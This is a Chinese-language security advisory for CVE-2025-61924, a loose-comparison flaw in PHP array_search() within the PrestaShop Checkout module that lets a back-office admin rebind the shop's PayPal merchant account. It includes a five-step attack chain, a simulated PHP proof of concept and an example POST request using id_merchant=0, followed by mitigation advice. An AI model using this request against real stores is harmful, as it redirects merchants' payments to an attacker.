IPBUF安全漏洞报告
English
CVE-2025-61924 CVSS 3.8 低危

CVE-2025-61924:PrestaShop Checkout模块PayPal商户账户劫持漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-61924
漏洞类型
权限提升/账户劫持
CVSS评分
3.8 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
PrestaShop Checkout(ps_checkout)

相关标签

PrestaShopps_checkoutPayPal账户劫持array_searchPHP类型混淆权限提升支付安全低危漏洞电商安全

漏洞概述

CVE-2025-61924是PrestaShop官方与PayPal合作推出的支付模块PrestaShop Checkout中存在的一个安全漏洞。该漏洞源于后端代码中对PHP array_search()函数的错误使用,导致经过身份验证的高权限用户(如后台管理员)可以通过操纵请求参数,将目标PayPal商户账户劫持到攻击者控制的PayPal账户上。

该漏洞的CVSS 3.1评分为3.8分,属于低危级别。攻击向量为网络攻击(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能利用,无需用户交互(UI:N)。成功利用该漏洞后,攻击者可以对目标商户的PayPal账户进行未授权的修改或劫持操作,导致商户的支付资金流向发生改变,造成财务损失。

该漏洞影响PrestaShop Checkout模块4.4.1之前的所有4.x版本以及5.0.5之前的所有5.x版本。官方已在4.4.1和5.0.5版本中修复了该漏洞,建议所有使用受影响版本的用户尽快升级到修复版本以保护其在线商店的支付安全。

技术细节

该漏洞的核心问题在于PHP array_search()函数的错误使用。array_search()函数用于在数组中搜索指定的值,并返回对应的键名。在PHP中,当array_search()未使用严格比较(strict mode,即第三个参数未设置为true)时,会进行松散比较(loose comparison),这可能导致类型混淆问题。

在PrestaShop Checkout模块的后台管理功能中,代码使用array_search()来验证或匹配某些与PayPal商户账户相关的标识符(如PayPal Merchant ID)。由于缺少严格比较,攻击者可以构造特殊的输入值(例如,将整数0或空字符串作为参数传递),使得array_search()函数返回非预期的匹配结果,从而绕过身份验证或授权检查。

具体利用方式为:具有后台管理员权限的攻击者通过精心构造的HTTP请求,向PrestaShop Checkout模块的后台接口发送包含恶意PayPal Merchant ID参数的请求。由于array_search()的松散比较缺陷,模块会将攻击者控制的PayPal账户识别为合法的目标商户账户,并完成账户绑定或切换操作。这样,攻击者就成功劫持了目标商户的PayPal支付账户,后续所有通过该模块处理的支付交易将被路由到攻击者控制的PayPal账户中。

攻击链分析

STEP 1
步骤1:获取后台权限
攻击者首先需要获取PrestaShop后台管理员账户的访问权限。这可以通过钓鱼攻击、密码爆破或利用其他漏洞实现。漏洞本身需要高权限(PR:H)才能利用。
STEP 2
步骤2:定位PrestaShop Checkout模块
攻击者登录后台后,导航到PrestaShop Checkout(ps_checkout)模块的商户账户管理页面,查看当前配置的PayPal商户账户信息。
STEP 3
步骤3:构造恶意请求
攻击者构造包含恶意PayPal Merchant ID参数的HTTP请求。由于array_search()函数未使用严格比较,攻击者可以传入整数0或空字符串等特殊值来绕过验证逻辑。
STEP 4
步骤4:触发账户劫持
利用array_search()的松散比较缺陷(0 == 'any_string' 在PHP中为true),恶意请求被错误地匹配到合法的商户账户,攻击者控制的PayPal账户被绑定到目标商户。
STEP 5
步骤5:资金窃取
账户劫持成功后,所有通过PrestaShop Checkout模块处理的在线支付交易将被路由到攻击者控制的PayPal账户,攻击者可窃取商户的销售收入。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-61924 - PrestaShop Checkout PayPal Merchant Account Hijacking PoC * * The vulnerability is due to incorrect usage of PHP array_search() without strict comparison. * An authenticated high-privilege user (backoffice admin) can hijack the target PayPal merchant * account by manipulating the merchant ID parameter. * * NOTE: This PoC demonstrates the conceptual exploitation logic. * Actual exploitation requires valid backoffice credentials. */ // Simulated vulnerable code pattern in PrestaShop Checkout module class PsCheckoutMerchant { // Simulated list of authorized PayPal merchant IDs private $authorizedMerchantIds = [ 'MBR001' => '[email protected]', 'MBR002' => '[email protected]', ]; /** * Vulnerable function - uses array_search() without strict comparison (no third parameter) * This allows type juggling attacks */ public function vulnerableLookup($inputMerchantId) { // Without strict mode (true), array_search() performs loose comparison // 0 == 'any_string' evaluates to true in PHP $key = array_search($inputMerchantId, $this->authorizedMerchantIds); return $key; } /** * Vulnerable merchant account binding logic */ public function bindMerchantAccount($submittedMerchantId, $attackerPaypalEmail) { $matchedKey = $this->vulnerableLookup($submittedMerchantId); if ($matchedKey !== false) { // Bypass: if attacker submits integer 0, array_search returns 'MBR001' // due to loose comparison: 0 == 'MBR001' is true echo "[+] Matched merchant key: $matchedKey\n"; echo "[+] Binding attacker PayPal account: $attackerPaypalEmail\n"; // Hijack successful - update the merchant binding $this->authorizedMerchantIds[$matchedKey] = $attackerPaypalEmail; return true; } return false; } } // Exploitation demonstration $psCheckout = new PsCheckoutMerchant(); // Normal request would be: merchant_id=MBR001 // Malicious request: merchant_id=0 (integer, exploits loose comparison) // In PHP: array_search(0, ['MBR001' => '...', 'MBR002' => '...']) returns 'MBR001' // because 0 == 'MBR001' evaluates to true (loose comparison) $maliciousMerchantId = 0; // Integer 0 bypasses the check $attackerEmail = '[email protected]'; echo "[*] CVE-2025-61924 Exploitation PoC\n"; $result = $psCheckout->bindMerchantAccount($maliciousMerchantId, $attackerEmail); if ($result) { echo "[!] SUCCESS: PayPal merchant account hijacked!\n"; echo "[!] All future payments will be routed to: $attackerEmail\n"; } else { echo "[-] Exploitation failed\n"; } /** * HTTP-level exploitation example (for actual exploitation): * * POST /admin123/index.php?controller=AdminPsCheckoutMerchant * Cookie: PHPSESSID=<valid_admin_session> * Content-Type: application/x-www-form-urlencoded * * id_merchant=0&[email protected]&action=update * * The 'id_merchant=0' parameter exploits the array_search() loose comparison * vulnerability to hijack the first merchant account in the list. */ ?>

影响范围

PrestaShop Checkout 4.x < 4.4.1
PrestaShop Checkout 5.x < 5.0.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制后台管理员账户的数量,实施最小权限原则;2)为所有后台管理员账户启用强密码策略和多因素认证;3)定期审查PrestaShop Checkout模块的商户账户配置,监控是否有异常的账户变更;4)在Web应用防火墙(WAF)中添加针对ps_checkout模块后台接口的访问规则,限制可疑的商户ID参数提交;5)监控PayPal商户账户的变更通知,及时发现未授权的修改操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表